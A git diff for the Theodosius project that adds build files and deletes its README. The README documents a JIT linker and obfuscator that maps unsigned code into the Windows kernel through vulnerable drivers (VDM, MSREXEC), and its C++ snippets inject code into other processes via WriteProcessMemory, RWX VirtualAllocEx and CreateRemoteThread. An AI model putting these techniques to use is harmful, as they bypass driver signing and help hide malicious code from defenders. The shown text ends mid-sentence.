diff --git a/.clang-format b/.clang-format new file mode 100644 index 0000000..e90a94d --- /dev/null +++ b/.clang-format @@ -0,0 +1,5 @@ +--- +BasedOnStyle: Chromium + +... + diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ab5925c --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +*.exe +build/ \ No newline at end of file diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..f1523d6 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,12 @@ +[submodule "dependencies/linux-pe"] + path = dependencies/linux-pe + url = https://github.com/can1357/linux-pe.git +[submodule "dependencies/googletest"] + path = dependencies/googletest + url = https://github.com/google/googletest.git +[submodule "dependencies/xed"] + path = dependencies/xed + url = https://github.com/intelxed/xed.git +[submodule "dependencies/mbuild"] + path = dependencies/mbuild + url = https://github.com/intelxed/mbuild.git diff --git a/CMakeLists.txt b/CMakeLists.txt new file mode 100644 index 0000000..b34c1f2 --- /dev/null +++ b/CMakeLists.txt @@ -0,0 +1,31 @@ +# This file is automatically generated from cmake.toml - DO NOT EDIT +# See https://github.com/build-cpp/cmkr for more information + +cmake_minimum_required(VERSION 3.15) + +if(CMAKE_SOURCE_DIR STREQUAL CMAKE_BINARY_DIR) + message(FATAL_ERROR "In-tree builds are not supported. Run CMake from a separate directory: cmake -B build") +endif() + +# Regenerate CMakeLists.txt automatically in the root project +set(CMKR_ROOT_PROJECT OFF) +if(CMAKE_CURRENT_SOURCE_DIR STREQUAL CMAKE_SOURCE_DIR) + set(CMKR_ROOT_PROJECT ON) + + # Bootstrap cmkr + include(cmkr.cmake OPTIONAL RESULT_VARIABLE CMKR_INCLUDE_RESULT) + if(CMKR_INCLUDE_RESULT) + cmkr() + endif() + + # Enable folder support + set_property(GLOBAL PROPERTY USE_FOLDERS ON) +endif() + +# Create a configure-time dependency on cmake.toml to improve IDE support +if(CMKR_ROOT_PROJECT) + configure_file(cmake.toml cmake.toml COPYONLY) +endif() + +project(Theodosius) + diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 1b26028..0000000 --- a/LICENSE +++ /dev/null @@ -1,29 +0,0 @@ -BSD 3-Clause License - -Copyright (c) 2021, _xeroxz -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/README.md b/README.md deleted file mode 100644 index 1e89a6b..0000000 --- a/README.md +++ /dev/null @@ -1,776 +0,0 @@ -
-
- -
- - -
- -# Theodosius - Jit linker, Mapper, Mutator, and Obfuscator - -Theodosius (Theo for short) is a jit linker created entirely for obfuscation and mutation of both code, and code flow. The project is extremely modular in design and supports -both kernel and usermode projects. Since Theo inherits HMDM (highly modular driver mapper), any vulnerable driver that exposes arbitrary MSR writes, or physical memory read/write can be used with this framework to map unsigned code into the kernel. This is possible since HMDM inherits VDM (vulnerable driver manipulation), and MSREXEC (elevation of arbitrary MSR writes to kernel execution). - -Theo can be used for many projects. The modularity of the code allows for a programmer to use this framework however they please. A few example usages of Theo would be, streaming code and data from a .lib over a network directly into memory, resolving unexported symbols via PDB, allocating each instruction of a function inside of code caves, and much more. - -### Table Of Contents - -* [Theodosius - Jit linker, Mapper, Mutator, and Obfuscator](https://githacks.org/_xeroxz/theodosius#theodosius-jit-linker-mapper-mutator-and-obfuscator) - * [Credit And Dependencies](https://githacks.org/_xeroxz/theodosius#credit-and-dependencies) - * [Linking - Dynamic And Static](https://githacks.org/_xeroxz/theodosius#linking-dynamic-and-static) - * [What Is A Linker](https://githacks.org/_xeroxz/theodosius#what-is-a-linker) - * [Object Files](https://githacks.org/_xeroxz/theodosius#object-files) - * [Static Linking](https://githacks.org/_xeroxz/theodosius#static-linking) - * [Dynamic Linking](https://githacks.org/_xeroxz/theodosius#dynamic-linking) - * [Usage - Using Theodosius](https://githacks.org/_xeroxz/theodosius#usage-using-theodosius) - * [Integrating Clang](https://githacks.org/_xeroxz/theodosius#integrating-clang) - * [Requirements](https://githacks.org/_xeroxz/theodosius#requirements) - * [Lambdas For Explicit Constructor](https://githacks.org/_xeroxz/theodosius#lambdas-for-explicit-constructor) - * [`theo::memcpy_t` - copy memory lambda](https://githacks.org/_xeroxz/theodosius#theomemcpy_t-copy-memory-lambda) - * [`theo::malloc_t` - allocate executable memory](https://githacks.org/_xeroxz/theodosius#theomalloc_t-allocate-executable-memory) - * [`theo::resolve_symbol_t` - resolve external symbol](https://githacks.org/_xeroxz/theodosius#theoresolve_symbol_t-resolve-external-symbol) - * [Creating Instance](https://githacks.org/_xeroxz/theodosius#creating-instance) - * [Calling Entry](https://githacks.org/_xeroxz/theodosius#calling-entry) - * [MSREXEC - Call Entry Example](https://githacks.org/_xeroxz/theodosius#msrexec-call-entry-example) - * [VDM - Call Entry Example](https://githacks.org/_xeroxz/theodosius#vdm-call-entry-example) - * [WinAPI - Call Entry Example](https://githacks.org/_xeroxz/theodosius#winapi-call-entry-example) -* [RIP Relative Addressing](https://githacks.org/_xeroxz/theodosius#rip-relative-addressing) - * [JCC - RIP Relative](https://githacks.org/_xeroxz/theodosius#jcc-rip-relative) -* [Obfuscation](https://githacks.org/_xeroxz/theodosius#obfuscation) - * [Obfuscate - Base Class](https://githacks.org/_xeroxz/theodosius#obfuscate-base-class) - * [Mutation - Inherts Obfuscation](https://githacks.org/_xeroxz/theodosius#mutation-inherts-obfuscation) -* [Examples](https://githacks.org/_xeroxz/theodosius#examples) - * [Kernel Example](https://githacks.org/_xeroxz/theodosius#kernel-example) - * [Usermode Example](https://githacks.org/_xeroxz/theodosius#usermode-example) -* [License - BSD 3-Clause](https://githacks.org/_xeroxz/theodosius#license-bsd-3-clause) - -### Credit And Dependencies - -* [BTBD](https://github.com/btbd) - Huge thanks for providing suggestions and bouncing ideas back and forth. - * [SMAP](https://github.com/btbd/smap) - scatter mapper, this project is heavily influenced by SMAP. -* [Zydis](https://github.com/zyantific/zydis) - used to decompile obfuscated routines and find JCC's. -* [asmjit](https://github.com/asmjit/asmjit) - used to generate link-time code (mutated routines). -* [LLVM-Obfuscator](https://github.com/obfuscator-llvm/obfuscator/wiki) - Here are the following devs: - * [Pascal Junod](https://crypto.junod.info/) - * Julien Rinaldini - * [Johan Wehrli](https://twitter.com/jowehrli) - * Julie Michielin - * Stéphane Ongagna - * Grégory Ruch - * Sébastien Bischof - -## Linking - Dynamic And Static - -#### What Is A Linker - -A linker is a program which takes object files produces by a compiler and generates a final executable native to the operating system. A linker interfaces with not only object files but also static libraries, "lib" files. What is a "lib" file? Well a lib file is just an archive of obj's. You can invision it as a zip/rar without any compression, just concatination of said object files. - -Theo is a jit linker, which means it will link objs together and map them into memory all at once. For usability however, instead of handling object files, Theo can parse entire lib files and extract the objects out of the lib. - -#### Object Files - -If you define a c++ file called "main.cpp" the compiler will generate an object file by the name of "main.obj". When you refer to data or code defined in another c/c++ file, the linker uses a symbol table to resolve the address of said code/data. In this situation I am the linker and I resolve all of your symbols :). - -#### Static Linking - -Static linking is when the linker links entire routines not created by you, into your code. Say `memcpy` (if its not inlined), will be staticlly linked with the CRT. Static linking also allows for your code to be more independant as all the code you need you bring with you. However, with Theo, you cannot link static libraries which are not compiled with `mcmodel=large`. Theo supports actual static linking, in other words, using multiple static libraries at the same time. - -#### Dynamic Linking - -Dynamic linking is when external symbols are resolved at runtime. This is done by imports and exports in DLL's (dynamiclly linked libraries). Theo supports "dynamic linking", or in better terms, linking against exported routines. You can see examples of this inside of both usermode and kernelmode examples. - -# Usage - Using Theodosius - -## Integrating Clang - -For integration with visual studios please open install [llvm2019](https://marketplace.visualstudio.com/items?itemName=MarekAniola.mangh-llvm2019) extension, or [llvm2017](https://marketplace.visualstudio.com/items?itemName=LLVMExtensions.llvm-toolchain) extension. Once installed, create or open a visual studio project which you want to use with LLVM-Obfuscator and Theo. Open ***Properties*** --> ***Configuration Properties*** ---> ***General***, then set ***Platform Toolset*** to ***LLVM***. - -Once LLVM is selected, under the ***LLVM*** tab change the clang-cl location to the place where you extracted [clang-cl.rar](https://githacks.org/_xeroxz/theodosius/-/blob/cc9496ccceba3d1f0916859ddb2583be9362c908/resources/clang-cl.rar). Finally under ***Additional Compiler Options*** (same LLVM tab), set the following: `-Xclang -std=c++1z -Xclang -mcode-model -Xclang large -Xclang -fno-jump-tables -mllvm -split -mllvm -split_num=4 -mllvm -sub_loop=4`. - -Please refer to the [LLVM-Obfuscator Wiki](https://github.com/obfuscator-llvm/obfuscator/wiki) for more information on commandline arguments. - -#### Requirements - -* No SEH support, do not add `__try/__except` in your code. -* No CFG (control flow guard) support. Please disable this in C/C++ ---> Code Generation ---> Control Flow Guard -* No Stack Security Check Support. Please disablel this in C/C++ ---> Code Generation ---> Security Check (/GS-) -* Your project must be set to produce a .lib file. -* Your project must not link with other static libraries which are not compiled with `-Xclang -mcmodel-large`. -* Project must be compiled with the following flags - * `-Xclang -mcmodel=large`, removes RIP relative addressing besides JCC's. - * `-Xclang -fno-jump-tables`, removes jump tables created by switch cases. - * `/Zc:threadSafeInit-`, static will not use TLS (thread local storage). - -## Lambdas For Explicit Constructor - -Theodosius uses the same class structure as HMDM does. Its a highly modular format which allows for extreme usage, supporting almost every idea one might have. In order to use Theo, you must first define three lambdas, `theo::memcpy_t` a method of copying memory, `theo::malloc_t` a method to allocate executable memory, and lastely `theo::resolve_symbol_t` a lamdba to resolve external symbols. - -### `theo::memcpy_t` - copy memory lambda - -This is used to write memory, it is never used to read memory. An example of this lambda using VDM could be: - -```cpp -theo::memcpy_t _kmemcpy = -[&](void* dest, const void* src, std::size_t size) -> void* -{ - static const auto kmemcpy = - reinterpret_cast( - utils::kmodule::get_export( - "ntoskrnl.exe", "memcpy")); - - return vdm.syscall(kmemcpy, dest, src, size); -}; -``` - -This uses VDM to syscall into memcpy exported by ntoskrnl... If you want to do something in usermode you can proxy memcpy to `WriteProcessMemory` or any other method of writing memory. - -```cpp -theo::memcpy_t _memcpy = -[&](void* dest, const void* src, std::size_t size) -> void* -{ - SIZE_T bytes_handled; - if (!WriteProcessMemory(phandle, dest, src, size, &bytes_handled)) - { - std::printf("[!] failed to write process memory...\n"); - exit(-1); - } - return dest; -}; -``` - -### `theo::malloc_t` - allocate executable memory - -This lambda is used to allocate executable memory. Any method will do as long as the memcpy lambda can write to the allocated memory. An MSREXEC example for this lambda is defined below. - -```cpp -theo::malloc_t _kalloc = [&](std::size_t size) -> void* -{ - void* alloc_base; - msrexec.exec - ( - [&](void* krnl_base, get_system_routine_t get_kroutine) -> void - { - using ex_alloc_pool_t = - void* (*)(std::uint32_t, std::size_t); - - const auto ex_alloc_pool = - reinterpret_cast( - get_kroutine(krnl_base, "ExAllocatePool")); - - alloc_base = ex_alloc_pool(NULL, size); - } - ); - return alloc_base; -}; -``` - -This lambda uses MSREXEC to allocate kernel memory via ExAllocatePool. However this is completely open ended on how you want to do it, you can allocate your memory into discarded -sections, you can allocate your memory in another address space, etc... Its extremely modular. - - -Another, yet simple, usermode example for this lambda is defined below. - -```cpp -theo::malloc_t _alloc = [&](std::size_t size) -> void* -{ - return VirtualAllocEx - ( - phandle, - nullptr, - size, - MEM_COMMIT | MEM_RESERVE, - PAGE_EXECUTE_READWRITE - ); -}; -``` - -### `theo::resolve_symbol_t` - resolve external symbol - -This lambda will try and resolve external symbols. Symbols which are not defined inside of any object files. For example `PiddbCacheTable`, an unexported ntoskrnl symbol, which normally people sig scan for, can now be jit linked. This is possible by parsing a MAP file, however you can recode this to support PDB's, etc. Again its completely opened ended on how you want to resolve symbols. - -```cpp -theo::resolve_symbol_t resolve_symbol = -[&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t -{ - std::uintptr_t result = 0u; - for (auto& [drv_name, drv_symbols] : extern_symbols) - { - // each kernel module... find a driver with a matching map file name... - // I.E ntoskrnl.exe.map == ntoskrnl.exe... - utils::kmodule::each_module - ( - [&, &drv_name = drv_name, &drv_symbols = drv_symbols] - (PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool - { - const auto _drv_name = - reinterpret_cast( - drv_info->OffsetToFileName + drv_info->FullPathName); - - // if this is the driver, load it, loop over its sections - // calc the absolute virtual address of the symbol... - if (!strcmp(_drv_name, drv_name.c_str())) - { - const auto drv_load_addr = - reinterpret_cast( - LoadLibraryExA(drv_path, NULL, DONT_RESOLVE_DLL_REFERENCES)); - - std::uint32_t section_count = 1u; - utils::pe::each_section - ( - [&, &drv_symbols = drv_symbols] - (PIMAGE_SECTION_HEADER section_header, std::uintptr_t img_base) -> bool - { - if (section_count == drv_symbols[symbol_name].first) - { - result = reinterpret_cast(drv_info->ImageBase) + - section_header->VirtualAddress + drv_symbols[symbol_name].second; - - // we found the symbol... - return false; - } - - ++section_count; - // keep going over sections... - return true; - }, drv_load_addr - ); - } - - // keep looping over modules until we resolve the symbol... - return !result; - } - ); - } - - // if the symbol was not resolved in any of the map files then try - // to see if its an export from any other drivers... - if (!result) - { - utils::kmodule::each_module - ( - [&](PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool - { - const auto drv_name = - reinterpret_cast( - drv_info->OffsetToFileName + drv_info->FullPathName); - - // false if we found the symbol... - return (!(result = utils::kmodule::get_export(drv_name, symbol_name))); - } - ); - } - - return result; -}; -``` - -Another example of this lambda can be viewed in the usermode examples. This routine simply loops over every single module mapped into the specific process you want to map/link with. - -```cpp -theo::resolve_symbol_t _resolver = - [&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t -{ - auto loaded_modules = std::make_unique(64); - std::uintptr_t result = 0u, loaded_module_sz = 0u; - - if (!EnumProcessModules(phandle, - loaded_modules.get(), 512, (PDWORD)&loaded_module_sz)) - return {}; - - for (auto i = 0u; i < loaded_module_sz / 8u; i++) - { - wchar_t file_name[MAX_PATH] = L""; - if (!GetModuleFileNameExW(phandle, - loaded_modules.get()[i], file_name, _countof(file_name))) - continue; - - if ((result = reinterpret_cast( - GetProcAddress(LoadLibrary(file_name), symbol_name)))) - break; - } - - return result; -}; -``` - -### Creating Instance - -Once all three lambdas are defined, you can then create a `theo::hmm_ctx` (highly modular mapper context). This class is like the one from HMDM however it requires an extra lambda to resolve external symbols. - -```cpp -theo::hmm_ctx drv_mapper({ _alloc, _memcpy, _resolver }); - -const auto drv_entry = - reinterpret_cast( - drv_mapper.map_objs(image_objs)); -``` - -### Calling Entry - -#### MSREXEC - Call Entry Example - -The entry point of the mapped code is not invoked by `hmm_ctx`, but rather its left up to you to call. An example of calling the entry point can be seen below. - -```cpp -int result; -msrexec.exec([&result, drv_entry = drv_entry] - (void* krnl_base, get_system_routine_t get_kroutine) -> void -{ - using drv_entry_t = int(*)(); - result = reinterpret_cast(drv_entry)(); -}); -``` - -#### VDM - Call Entry Example - -Another example, this one using VDM, can be seen below. - -```cpp -const auto entry_result = - vdm.syscall( - reinterpret_cast(drv_entry)); -``` - -#### WinAPI - Call Entry Example - -Another example, this one using WinAPI's, can be seen below. - -```cpp -std::uint32_t tid = 0u; -CreateRemoteThread -( - phandle, NULL, - NULL, drv_entry, - NULL, NULL, - (LPDWORD)&tid -); -``` - -## RIP Relative Addressing - -In order to allow for a routine to be scattered throughout a 64bit address space, RIP relative addressing must not be used. In order to facilitate this, a very special version -of clang-cl is used which can use `mcmodel=large`. This will generate instructions which do not use RIP relative addressing when referencing symbols outside of the routine in which the -instruction itself resides. The only exception to this is JCC instructions, (besides call) also known as branching instructions. Take this c++ code for an example: - -```cpp -ObfuscateRoutine -extern "C" int ModuleEntry() -{ - MessageBoxA(0, "Demo", "Hello From Obfuscated Routine!", 0); - UsermodeMutateDemo(); - UsermodeNoObfuscation(); -} -``` - -This c++ function, compiled by clang-cl with `mcmodel=large`, will generate a routine with the following instructions: - -``` -0x00: ; void UsermodeNoObfuscation(void) -0x00: public ?UsermodeNoObfuscation@@YAXXZ -0x00: ?UsermodeNoObfuscation@@YAXXZ proc near ; CODE XREF: ModuleEntry+42↓p -0x00: var_4 = dword ptr -4 -0x00: 48 83 EC 28 sub rsp, 28h -0x04: C7 44 24 24 00 00 00 00 mov [rsp+28h+var_4], 0 -0x0C: loc_C: -0x0C: 83 7C 24 24 05 cmp [rsp+28h+var_4], 5 -0x11: 0F 83 38 00 00 00 jnb loc_4F -0x17: 31 C0 xor eax, eax -0x19: 48 BA 28 01 00 00 00 00 00 00 mov rdx, offset ??_C@_04DKDMNOEB@Demo?$AA@ ; "Demo" -0x23: 49 B8 00 01 00 00 00 00 00 00 mov r8, offset ??_C@_0CD@JEJKPGNA@Hello?5... ; "Hello From Non-Obfuscated Routine!" -0x2D: 48 B8 A0 01 00 00 00 00 00 00 mov rax, offset MessageBoxA -0x37: 45 31 C9 xor r9d, r9d ; uType -0x3A: 44 89 C9 mov ecx, r9d ; hWnd -0x3D: FF D0 call rax ; MessageBoxA -0x3F: 8B 44 24 24 mov eax, [rsp+28h+var_4] -0x43: 83 C0 01 add eax, 1 -0x46: 89 44 24 24 mov [rsp+28h+var_4], eax -0x4A: E9 BD FF FF FF jmp loc_C -0x4F: loc_4F: -0x4F: 48 83 C4 28 add rsp, 28h -0x53: C3 retn -0x53: ?UsermodeNoObfuscation@@YAXXZ endp -``` - -As you can see from the code above, (sorry for the terrible syntax highlighting), references to strings and calls to functions are done by first loading the address of the symbol into a register and then interfacing with the symbol. - -``` -0x2D: 48 B8 A0 01 00 00 00 00 00 00 mov rax, offset MessageBoxA -; ... -0x3D: FF D0 call rax ; MessageBoxA -``` - -Each of these instructions can be anywhere in virtual memory and it would not effect code execution one bit. However this is not the case with routines which have conditional branches. Take the following c++ code for example. - -## JCC - RIP Relative - -```cpp -ObfuscateRoutine -void LoopDemo() -{ - for (auto idx = 0u; idx < 10; ++idx) - DbgPrint("> Loop Demo: %d\n", idx); -} -``` - -This c++ function, compiled by clang-cl with `mcmodel=large`, will generate a routine with the following instructions: - -``` -0x58 ; void LoopDemo(void) -0x58 public ?LoopDemo@@YAXXZ -0x58 ?LoopDemo@@YAXXZ proc near -0x58 var_4 = dword ptr -4 -0x58 -0x58 48 83 EC 28 sub rsp, 28h -0x5C C7 44 24 24 00 00 00 00 mov [rsp+28h+var_4], 0 -0x64 loc_64: -0x64 83 7C 24 24 0A cmp [rsp+28h+var_4], 0Ah -0x69 0F 83 2A 00 00 00 jnb loc_99 -0x6F 8B 54 24 24 mov edx, [rsp+28h+var_4] -0x73 48 B9 60 01 00 00 00 00 00 00 mov rcx, offset ??_C@_0BB@HGKDPLMC@?$.... ; "> Loop Demo: %d\n" -0x7D 48 B8 38 02 00 00 00 00 00 00 mov rax, offset DbgPrint -0x87 FF D0 call rax ; DbgPrint -0x89 8B 44 24 24 mov eax, [rsp+28h+var_4] -0x8D 83 C0 01 add eax, 1 -0x90 89 44 24 24 mov [rsp+28h+var_4], eax -0x94 E9 CB FF FF FF jmp loc_64 -0x99 loc_99: -0x99 48 83 C4 28 add rsp, 28h -0x9D C3 retn -0x9D ?LoopDemo@@YAXXZ endp -``` - -Uh oh, `jnb loc_99`?, thats RIP relative! In order to handle branching operations, a "jump table" is generated by `obfuscation::obfuscate` explicit default constructor. Instead of branching to the RIP relative code, it will instead branch to an inline jump (`JMP [RIP+0x0]`). As demonstrated below, the branching operation is altered to branch to an asbolute jump. - -``` -ffff998b`c5369e60 0f830e000000 jnb ffff998b`c5369e74 -ffff998b`c5369e66 ff2500000000 jmp qword ptr [ffff998b`c5369e6c] -... -ffff998b`c5369e74 ff2500000000 jmp qword ptr [ffff998b`c5369e7a] -``` - -The linker is able to get the address of the branching code by taking the rip relative virtual address of the branching operation, which is a signed number, and adding it to the current byte offset into the current routine, plus the size of the branching instruction. For example `LoopDemo@17` + size of the branching instruction, which is six bytes, then adding the signed relative virtual address (0x2A). The result of this simple calculation gives us `LoopDemo@65`, which is correct, the branch goes to `add rsp, 28h` in the above example. - -## Obfuscation - -The usage of the word obfuscation in this project is use to define any changes made to code, this includes code flow. `obfuscation::obfuscate`, a base class, which is inherited and expanded upon by `obfuscation::mutation`, obfuscates code flow by inserting `JMP [RIP+0x0]` instructions after every single instruction. This allows for a routine to be broken up into unique allocations of memory and thus provides more canvas room for creative ideas. - -### Obfuscate - Base Class - -The base class, as described in the above section, contains a handful of util routines and a single explicit constructor which is the corner stone of the class. The constructor fixes JCC relative virtual addresses so that if the condition is met, instead of jumping instruction pointer relativitly, it will jump to an addition jmp (`JMP [RIP+0x0]`). - - -LEA's, nor CALL's are rip relative, even for symbols defined inside of the routine in which the instruction is compiled into. In other words JCC instructions are the only instruction pointer relative instructions that are generated. - - -``` -instruction -jmp next instruction - - -instruction -jmp next instruction - - -instruction -jmp next instruction -``` - -### Mutation - Inherts Obfuscation - -This class inherits from `obfuscate` and adds additional code, or "mutation". This class is a small example of how to use inheritance with `obfuscate` base class. It generates a stack push/pop palindrome. The state of the stack is restored before the routines actual instruction is executed. The assembly will now look like this in memory: - -``` -push gp -push gp -push gp -... -pop gp -pop gp -pop gp -exec routine instruction -jmp next instruction - -push gp -push gp -push gp -push gp -push gp -... -pop gp -pop gp -pop gp -pop gp -pop gp -exec routine instruction -jmp next instruction - -push gp -push gp -push gp -... -pop gp -pop gp -pop gp -exec routine instruction -jmp next instruction -``` - -Again this is just a demo/POC on how you can inherit `obfuscate`. This also shows an example of how to use `asmjit`. - -# Examples - -### Kernel Example - - - -This example uses MSREXEC and Theodosius to map unsigned code into the kernel. This example is inside of the "Examples" folder. I would also like to note that in this demo external unexported ntoskrnl symbols are resolved by using a MAP file. This map file looks like this: - -``` - 00000001:0000000000000F10 KiOpTwoByteTable - 00000001:0000000000001168 SeSubsystemName - 00000001:0000000000001180 PlugPlayHandlerTable - 00000001:00000000000013E0 PiDmAggregatedBooleanDefs - 00000001:0000000000001490 PiDmCachedDeviceKeys - 00000001:0000000000001580 PiDmCachedDeviceInterfaceKeys - 00000001:00000000000015F0 AllowedCachedObjectNames - 00000001:0000000000001640 EmptyUnicodeString -``` - -Mind the space at the beginning of each line. If you want to generate a file like this, put ntoskrnl.exe into IDA Pro and then click File ---> Produce File ---> Create MAP File, dont select "Segment Information", but do select "Demangled Names". After the MAP file is generate, please delete all of the garbage at the beginning of the file. I.E delete all spaces and "Address, Public By Value" stuff. - -``` - - - Address Publics by Value - - 00000001:0000000000000000 VrpRegistryString - .... -``` - -Once you have generated a map file for ntoskrnl.exe, or any other binary you want to link with, you can then use it to resolve external symbols. In the `DemoDrv` project, I reference two external symbols. One being `PiddbCacheTable`, and the other being a win32kfull.sys export. - -```cpp -// this is a demo of resolving non-exported symbols... -// win32kfull.sys export example... -extern "C" void NtUserRegisterShellPTPListener(); -extern "C" void* PiDDBCacheTable; - -``` - -These two symbols are simply printed out via DbgPrint. - -```cpp -MutateRoutine extern "C" void DrvEntry() -{ - DbgPrint("> Hello World!\n"); - - // non-exported symbols being resolved by jit linker... - DbgPrint("> PiDDBCacheTable = 0x%p\n", &PiDDBCacheTable); - DbgPrint("> win32kfull!NtUserRegisterShellPTPListener = 0x%p\n", &NtUserRegisterShellPTPListener); - - // example of referencing itself... - DbgPrint("> DrvEntry = 0x%p\n", &DrvEntry); - - // example of calling other obfuscated/non obfuscated routines... - PrintCR3(); - LoopDemo(); -} -``` - -Once compiled the assembly will look like this. Note that each reference to symbols is done via a relocation to an absolute address. This means strings can (and will) be mapped into their own allocation of memory. - -``` -0X0A8: public DrvEntry -0X0A8: DrvEntry proc near -0X0A8: 48 83 EC 28 sub rsp, 28h -0X0AC: 48 B9 78 01 00 00 00 00 00 00 mov rcx, offset ??_C@_0BA@LBLNBFIC@?$D...; "> Hello World!\n" -0X0B6: 48 B8 38 02 00 00 00 00 00 00 mov rax, offset DbgPrint -0X0C0: FF D0 call rax ; DbgPrint -0X0C2: 48 B9 88 01 00 00 00 00 00 00 mov rcx, offset ??_C@_0BK@PLIIADON...; "> PiDDBCacheTable = 0x%p\n" -0X0CC: 48 BA 40 02 00 00 00 00 00 00 mov rdx, offset PiDDBCacheTable -0X0D6: 48 B8 38 02 00 00 00 00 00 00 mov rax, offset DbgPrint -0X0E0: FF D0 call rax ; DbgPrint -0X0E2: 48 B9 A8 01 00 00 00 00 00 00 mov rcx, offset ??_C@_0DE@FLODGMCP...; "> win32kfull!NtUserRegisterShellPTPList"... -0X0EC: 48 BA 48 02 00 00 00 00 00 00 mov rdx, offset NtUserRegisterShellPTPListener -0X0F6: 48 B8 38 02 00 00 00 00 00 00 mov rax, offset DbgPrint -0X100: FF D0 call rax ; DbgPrint -0X102: 48 B9 E0 01 00 00 00 00 00 00 mov rcx, offset ??_C@_0BD@JGN... ; "> DrvEntry = 0x%p\n" -0X10C: 48 BA A8 00 00 00 00 00 00 00 mov rdx, offset DrvEntry -0X116: 48 B8 38 02 00 00 00 00 00 00 mov rax, offset DbgPrint -0X120: FF D0 call rax ; DbgPrint -0X122: 48 B8 00 00 00 00 00 00 00 00 mov rax, offset ?PrintCR3@@YAXXZ ; PrintCR3(void) -0X12C: FF D0 call rax ; PrintCR3(void) ; PrintCR3(void) -0X12E: 48 B8 58 00 00 00 00 00 00 00 mov rax, offset ?LoopDemo@@YAXXZ ; LoopDemo(void) -0X138: FF D0 call rax ; LoopDemo(void) ; LoopDemo(void) -0X13A: 90 nop -0X13B: 48 83 C4 28 add rsp, 28h -0X13F: C3 retn -0X13F: DrvEntry endp -``` - -Theo calculates the size of each symbol by subtracting the address of the next symbol (in the same section), from the address of the symbol itself. If the symbol is the last one in a section, the distance between the start of the symbol and the end of the section is used. Now lets take a look at what happens when we link/map this routine. Theo starts by allocating space for all non-obfuscated symbols. - -``` -[+] allocating space for symbols... - > ??_C@_0BG@GFEIGDHO@?$DO?5Current?5CR3?5?$DN?50x?$CFp?6?$AA@ allocated at = 0xFFFF998BC5361FB0, size = 22 - > ??_C@_0BB@HGKDPLMC@?$DO?5Loop?5Demo?3?5?$CFd?6?$AA@ allocated at = 0xFFFF998BC5364FA0, size = 17 - > ??_C@_0BA@LBLNBFIC@?$DO?5Hello?5World?$CB?6?$AA@ allocated at = 0xFFFF998BC5365FA0, size = 16 - > ??_C@_0BK@PLIIADON@?$DO?5PiDDBCacheTable?5?$DN?50x?$CFp?6?$AA@ allocated at = 0xFFFF998BC5366EA0, size = 26 - > ??_C@_0DE@FLODGMCP@?$DO?5win32kfull?$CBNtUserRegisterShell@ allocated at = 0xFFFF998BC5366EE0, size = 52 - > ??_C@_0BD@JGNLDBEI@?$DO?5DrvEntry?5?$DN?50x?$CFp?6?$AA@ allocated at = 0xFFFF998BC5366F40, size = 19 - > ?PrintCR3@@YAXXZ allocated at = 0xFFFF998BC5366F80, size = 58 -``` - -As you can see, each string gets its own pool, each global variable does too, and every non-obfuscated routine is mapped into its own pool. The memory however, has not been copied yet since there are relocations that need to happen before they are copied into memory (in PrintCr3). - -The next thing Theo does is allocate space for obfuscated routines. In the `DemoDrv`, there is a demo for each type of obfuscation (just mutation and control flow obfuscation for now). - -``` -[+] allocating space for obfuscated symbols... - > ?LoopDemo@@YAXXZ allocated = 0xFFFF998BC5369DA0, size = 18 - > ?LoopDemo@@YAXXZ@4 allocated = 0xFFFF998BC5369DE0, size = 22 - > ?LoopDemo@@YAXXZ@12 allocated = 0xFFFF998BC5369E20, size = 19 - > fixing JCC rva... - > new rva = 0xe - > old rva = 0x2a - > ?LoopDemo@@YAXXZ@17 allocated = 0xFFFF998BC5369E60, size = 34 - > ?LoopDemo@@YAXXZ@23 allocated = 0xFFFF998BC5369EB0, size = 18 - > ?LoopDemo@@YAXXZ@27 allocated = 0xFFFF998BC5369EF0, size = 24 - > ?LoopDemo@@YAXXZ@37 allocated = 0xFFFF998BC5369F30, size = 24 - > ?LoopDemo@@YAXXZ@47 allocated = 0xFFFF998BC5369F70, size = 16 - > ?LoopDemo@@YAXXZ@49 allocated = 0xFFFF998BC5369FA0, size = 18 - > ?LoopDemo@@YAXXZ@53 allocated = 0xFFFF998BC5368BA0, size = 17 - > ?LoopDemo@@YAXXZ@56 allocated = 0xFFFF998BC5368BE0, size = 18 - > ?LoopDemo@@YAXXZ@60 allocated = 0xFFFF998BC5368C20, size = 14 - > ?LoopDemo@@YAXXZ@65 allocated = 0xFFFF998BC5368C50, size = 18 - > ?LoopDemo@@YAXXZ@69 allocated = 0xFFFF998BC5368C90, size = 15 -``` - -As you can see, Theo uses Zydis to go over all routines marked for obfuscation and generates new symbols for each instruction inside of the routine. The symbol goes by 